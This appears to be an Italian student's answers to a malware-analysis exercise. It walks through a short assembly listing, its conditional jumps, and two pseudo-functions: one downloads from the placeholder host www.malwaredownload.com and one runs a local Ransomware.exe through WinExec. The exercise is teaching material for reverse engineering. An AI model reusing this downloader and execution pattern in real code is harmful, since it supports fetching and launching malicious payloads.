ANALISI MALWARE

DOMANDA 1

Il salto condizionale viene effettuato alla locazione 00401068
L'istruzione «jz» esegue il salto alla locazione specificata se gli operandi dell'istruzione "cmp" che viene prima sono uguali, come in questo caso, dove EBX è uguale 11

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

DOMANDA 3

Il malware ha al suo interno due pseudofunzioni
una che non viene eseguita, scaricare un malware da internet come un downloader

0040BBA8	call	DownloadToFile()	; pseudo funzione

e l'altra che viene eseguita, che ha la funzione di eseguire un malware gia presente nel pc

0040FFA8	call	WinExec()	; pseudo funzione

DOMANDA 4

I parametri sono passati allo stack attraverso la funzione push.
Alla funzione "downloadtofile() viene dato attrvarso la funzione push ,
l'URL "www.malwaredownload.com" , per scaricare ulteriori file

0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL

Alla funzione "winexec()" viene passato il path del malware già all'interno del pc per avviarlo

0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire

ANALISI MALWARE

DOMANDA 2

il salto alla locazione 0040105b non avviene perche le condizioni non sono verificate, cose che accade alla locazione 00401068, in cui il salto avviene alle locazione 0040FFA0

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile()	; pseudo funzione